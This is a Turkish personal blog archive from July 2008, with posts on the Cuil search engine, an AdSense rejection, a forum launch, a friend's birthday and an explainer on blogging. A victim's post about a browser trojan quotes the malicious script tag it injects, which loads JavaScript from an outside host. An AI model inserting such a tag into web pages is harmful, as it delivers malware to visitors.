Menü

Archive | Temmuz, 2008

Cuil Amca :)

Arama motoru pazarı gittikçe kızgınlaşıyor. Yahoo,Altavista, Google derken şimdi bir de Cuil Amcamız oluyor.

Eski Google Mühensilerinin birlikte çalışmasıyla ortaya çıkan Cuil i diğer abilerindne ayıran en önemli özelliği ise daha hızlı sorgulama, geniş bilgi ve çok daha hızlı indeksleme gibi bazı noktalarda google ın eksik kaldığı alanlardan vuruyor.

Cuil’in kuruculari arasinda Tom Costello, Anna Patterson, Russell Power ve Louis Monier gibi daha onceleri hem Google’da cok onemli gorevlerde hemde Altavista, Ebay’in site ici arama motoru, Babelfish, Web Fountain gibi sitelerin bulunmasinda ve gelistirilmesinde rol oynamis kisilerde bulunuyor.

Şimdilik algoritması hakkında bilgi edinemediğimiz Cuil Amcamız ne kadar popüler olacak ilerleyen zamanlarda göreceğiz hepbirlikte.

Tabi SEO tutkunlarını yeni çözülmeyi bekleyen bir arama motoru sevindirmeyecektir belki ama açıkçası ben sevdim bu Cuil amcamızı :)

2

Google Adsense Karmaşası..

Dört gün önce adsense eski hesaplarımın kapatılmasındna dolayı ( ki sebebini inanın bende bilmiyordum :) ) tekrar başvuu yapmıştım. ve aldığım cevap oldukça net oldu  :)

Merhaba Serkan CURA, Google AdSense’e göstermiş olduğunuz ilgiye
teşekkür ederiz. Başvurunuzu gözden geçirirken, hesabınızın geçersiz
tıklama etkinliği nedeniyle devre dışı bırakılmış bir hesapla yakından
ilişkili olduğunu belirledik. Hem reklamverenlerimizin hem de diğer
AdSense yayıncılarımızın çıkarlarını korumakla yükümlü olduğumuz için
başvurunuzu onaylayamıyoruz. Ayrıca, AdSense programına gelecekte de
katılamayacağınızı belirtmek istiyoruz. Bunun sizin açınızdan
sıkıntılara yol açabileceğinin farkındayız ve anlayışınız ve
işbirliğiniz için şimdiden teşekkür ederiz. Hesabınız veya yaptığımız
işlemler hakkında sorularınız varsa, lütfen bu e-postayı yanıtlamayın.

https://www.google.com/adsense/support/bin/answer.py?answer=57153&hl=tr

adresini ziyaret ederek daha fazla bilgi edinebilirsiniz.
Saygılarımızla, Google AdSense Ekibi

Şimdi anlamadığım ben hiç bi yaptırım yapmadan ve es kaza haricinde kendimin tıklamadığım reklamların nasıl oluyorda geçersiz tıklama olarak kabul edip reddede biliyor gerçekten anlayabilmiş değilim. bunları kim inceliyo onuda bilmiyorum ama gerçekten geçerli bi sebep olduğuna inanmıyorum. Hadi warezden kapatılmış olsa gam yemiyeceğim. ForumSevdamın analytics istatistiklerine göre günlük 5000 üzerinde gösterim alıyor ve günlük ortalama tıklama sayısıda 30 u geçmiyorken o gösterime rağmen nasıl oluyorda geçersiz yıklama raporu çıkıyo bilen birileri anlatırsa  çok sevinicem neyse. bundan sonra anti-adsense fun açmaya karar verdim :)

2

ForumSevdam.CoM

Forum kavramıyla ilk tanışmam bundan 6 yıl önce 4 arkadaş ortak açtığımız ama biraz bilgimizin olmaması birazda o zamanlar bu kadar ilgi alanımıza girmemsinden olacaktır ki çokta kayde değer bir site olamayan bizforumdayiz.com la başladı. Sanırım o zamanlar sayılı olan forum siteleri ve yetersiz bilgilere rağmen yinede oldukça iyi bir çıkış yakalamaya başlamıştık ama sonradan herkesin farklı uğraşlara ynelmesinin ardından tek ben kaldım bu işlerle uğraşan 4 kişiden ve bende arka planda uğraşmaya başladım.

Daha sonra çok sevdiğim ve hala görüştüğüm bi abimin sitesinin kurulumu ve optimizasyonunun ardından daha çok ilgimi çekmeye başlayan forumlar giderek hobiye dönüştü. ardından hatırlmak istemediğim bir forumda teknik içerikle ilgilenen tek kişi oldum. ve sonrasında ise forumsevdam.com doğdu. ve 5 yılın emeği olan bir site meydana çıktı. yanımdaki TuaNa, OnLy ve BaTu nun desteği ile gerçekten kısa zamanda ( 6 ay gibi ) bir aile ortamı seviyesinde paylaşım merkezli bir aile olduk.

Burada her zaman bence internet aleminin en iyi hazırlanmış ve yönetilebilirliği maksimum seviyede olan vBulletin üzerine makalelerim olacak. Kendi tecrübelerimden yola çıkarak neyin nasıl yapılabileceği dilimin döndüğünce, bilgimin yettiğince sizlerle paylaşacağım.

Görüşmek dileğiyle.

Serkan CURA

2

İyiki Doğdun Ahmet.. :)

Ne günlerimiz oldu Ahmetle gerçekten 25  yılımızı yaşıyoruz birlikte ve kendimi dışarıda  bildiğim bileli hep ynaımdaki en yakın isim olmuştu Ahmet. Çocukluğumuzda birlikte top oynadık güldük eğelendik, ilkokula birlikte gittik orta okul dönemimde kısa bir ayrılığımız( okul anlamında yoksa okul dışında yine günümüz hep birlikteydi) lisede sıra arkadaşım. ilk üniversitemde üniversite arkadaşım. ilk çalıştığım firmada iş arkadaşım şimdide staj yaptığım yerde yine iş arkadaşım. daha ne olsun dimi.. :)

Hani bazen insanın hep yanında olmasını istediği, ne yapsa danıştığı, fikrini aldığı, dertleştiği, ağlaştığı, yeri geldiğinde tartıştığı kısaca hayatı dolu dolu yaşamasını sağlayabilecek bir arkadaşı olmasını ister ya… İşte Ahmet te benim öyle bi arkadaşım ve bugün 06.07.2008 tarihi ile dolu dolu bir 24 yılını bitirip 25. yılından gün almakta  :) ( yaşın meydana çıktı ama neyse. :p ) ve bugün onunla birlikte hayatımda güzel nitelendirebileceğim bir gün gece yaşadık. Üç arkadaş ( Ben, Ahmet ve Muharrem) Mudanya Güzelyalı’da Kuyu Cafe’de oturduk  eskilerden, gelecekten yapmak istediklerimizden, yaptıklarımızdan konuştuk. güldük eğlendik ve gerçekten yeni yaşına yine herzamanki gibi birlikte girdik. Yanında olmak benim için gerçekten çok güzel bi duygu ne den mi ilk paragraftada belirttiğim gibi birlikte çok güzel günler geçirdik, tabiri caizse yediğimiz ayrı gitmedi inşallah bu birlikteliğimiz ölene kadar devam eder diyerek yazımı noktalamak istiyorum.

İyiki doğdun, İyiki Varsın ve İyiki Olaaksın Ahmet.. :)

Gelen armalar:

  • iyiki dogdun ahmet
3

JS/TrojanDownloader.Iframe.NAL

İki gündür başım bu virüsle belada virüs bulaşma algoritamsı oldukça iyi hazırlanmış. :)  herhangi bir internet sayfası açmanız halinde ( i.e yada firefox yada opera farketmiyor) her sayfaya <script src=”http://mx.content-type.cn:443/day.js”></script> kodunu ekleyerek sürekli iframe mantı ile size saldırı yapıyor ve  temprory internet files içindeki content.ie5 dosyasına kendisni kopyalıyor. kaspersky  virüsün dosayasını silebiliyor ama sayfalara eklediği kod çalışmaya bi şekilde devam ediyor ve öyle bi an geliyoki tüm internetinizi resmen sömürürcesine engelliyor. ve çözümünüde dün akşam itibari ile buldum gerçi kökten bir çözüm değil ama yinede sistemin rahatlamasına yetiyor.

AntiARP denilen bir program kurduğunuzda sorun ortadan kalkıyor gelen paketleri kontrol ederek istenmeyen özelliklere sahip olanları engelleyen bu program bu konuda gerçekten başarılı ;)

Programın Resmi sitesi : http://www.antiarp.com/English/e_index.htm

1

Blog Nedir?

Blog

Hakkında sayfalarca yazı yazılan, tartışılan webloglar çağımızın
uğraşısı konumunda. Yine de Türkiye’de internet kullanıcısı olan bir
çok insanın blog hakkında hiç bir fikri olmadığı bildirgeç’te yapılan bir anket sonucunda ortaya çıktı. O halde bir bakalım, neymiş şu blog denen meret.

Blog kelimesinin özünde web-log vardır. Webloglara kısaca internette seyir
defteri tutmak denebilir. Kelime anlamı olaraksa, genellikle ters
kronolojik sırada (en yeni en üstte olacak şekilde) sıralandırılmış,
tek bir sayfa üzerinde bir çok yazı gösterme esasına dayanan internet
uygulamasıdır. ilerleyen senelerde “we” düşmüş, sadece “blog” olarak kullanılmaya başlanmıştır. Blog yazan kişilere de “blogger” denilmektedir. Bir yazı yazıp gönderme işlemine de kısaca “bloglama”
deniyor. 1997 yılından beri var olan bu uygulama, tasarımcı ve
programcıların ilginç internet sitelerinin linklerini unutmamak için
kendi sayfalarına yazmalarıyla başladı. 1999 yılında ortaya çıkan pek
çok blog-yayınlama (blog publishing) aracıyla birlikte bloglama,
programcılar arasındaki bir aktivite olmaktan çıkıp, en az bilgisayar
kullanma becerisine sahip olan bir insanın bile anlayacağı kadar basit
hale indirgendi. Daha önce bir yazıda blogların ne kadar çoğaldığını anlatmıştım.
Technorati’nin 7,8 milyon blogu indekslediği, günde 30.000 – 40.000
blogun yaratıldığı düşünülürse, bloglar bu yüzyıla damgasını vuracak
bir olay olmaya doğru gidiyor. Çünkü format çok basit; sıklıkla güncellenen, tek sayfa üstünde ters kronolojik yazılar.

Hangi
konuda yazarlarsa yazsınlar, pek çok insan için bloglar kişisel
dışavurum aracı haline geldi. Herhangi bir editoryal düzenleme
görmeden, insanların içinden geldiği gibi, kendi düşüncelerini özgürce
anlattıkları ortamlar oldu. Şu sıralar bloggerların da birer medya
üyesi olduğu, her blogun kendi başına bir yayın aracı vazifesi gördüğü görüşü ortalıkta geziyor. Politika, günlük hayat, spor, teknoloji, müzik, yemek hatta dantel, hamburger gibi her konuda pek çok bloga rastlamak olası. Hatta bir çok büyük şirket CEO’sunun ya da şirketlerin kendi blogları olmaya başladı.

Insanları
bir site tasarlamaktansa blog açmaya yönelten nedir peki? Bir site
açmak için en başta domain ve host gibi teknik konulara para ödemek
gerekiyor. Iş siteyi açmakla da bitmiyor, yazılarınızı yayınlayabilmek
için temel bir program yazmanız, sitenize gelen insanların
yazdıklarınız hakkında görüş bildirebilmesi için ayrı bir yorum sistemi
kurmanız, görüntüsü içinse tasarım yapmanız gerekiyor. Blog sitelerinin
güzelliği, sizi bu dertlerden kurtarmaları. Bir çok blog servisi hosting konusunda para talep etmeden,
seçtiğiniz bir isimle sizi kendi alan adları altında host ediyor
[http://xxx.blogspot.com, http://xxx.livejournal.com]. Kurmuş oldukları
otomatik yazı gönderme sistemleri sayesinde sizi programla, daha
önceden hazırlamış oldukları şablonlarla
da tasarım derdinden kurtarıyor. Bu şablonlar (hazır tasarımlar)
istediğiniz zaman bir başkasıyla değiştirebileceğiniz şekilde
hazırlanmış oluyor. Hatta üzerlerinde kendiniz oynayıp basit değişiklikler
yapabilirsiniz. Eğer canınız tamamen kendi yaptığınız bir dizaynı
kullanmak istersen, buna izin veren blog siteleri de mevcut. Birçok
blog sitesinde hazır olarak gelen yorum sistemleri sayesinde de
yazdıklarınız hakkında diğer insanların görüşlerini kolayca öğrenip,
geribildirim alabiliyorsunuz. Yazılarınıza kimlerin link verdiğini
gösteren trackback sistemleri bile var.

Insanlar blog
sitelerinde genellikle tek başlarına yazsalar da, bir kaç insanın
toplanıp beraberce yazdığı siteler de mevcut. Daha çok birbirini
tanıyan ya da ortak bir özellikleri olan (yemek, şehir hikayeleri
blogları gibi) insanların, ortak paydada toplanması olarak görebiliriz
bunu. Bu tür bloglara community blog deniyor.
Community blogları sayesinde insanlar internette sosyalleşme olanağı
buluyor, kendilerini bir yere ait hissediyorlar. Yorum fasilitesi
sayesinde aynı şeylerle ilgilenen insanlar tanışma ve tartışma olanağı
da buluyor. Türkiye’de bloglarla ilgilenen insanları bir araya toplamak
için kurulmuş bir de site bulunuyor, ve büyük bir hızla yoluna devam ediyor.

Uzun zamandan beri bu işle uğraşan ve blog dünyasında tanınan isimler bloglarından kitap çıkartmayı düşünür hale geldiler. Gazetelerde köşe yazarı olan kişilerin
dahi insanlara daha hızlı ve çok ulaşabilmek adına blog siteleri var.
internetteki hızlı link dolaşımı sayesinde daha önce hiç görmediğiniz
insanların hayatları ve görüşleri hakkında bilgi sahibi olabiliyor,
birçok konuya farklı açıdan bakan yorumlara erişebiliyorsunuz. Aynı
şekilde kendi sesinizi de dünyaya duyurmuş ve bunu bir e-mail atma
basitliğinde gerçekleştirmiş oluyorsunuz.

Türkiye’de
bloglama genellikle online günlük tutma olarak görülse de, blog özünde
kendiniz için tuttuğunuz notlar ve diğer insanların okumasını
istediğiniz yazılardır. Bunlar insandan insana değişebilir; hayat,
spor, çiçekçilik, biyoloji veya nanoteknoloji, seçim size kalmış.

8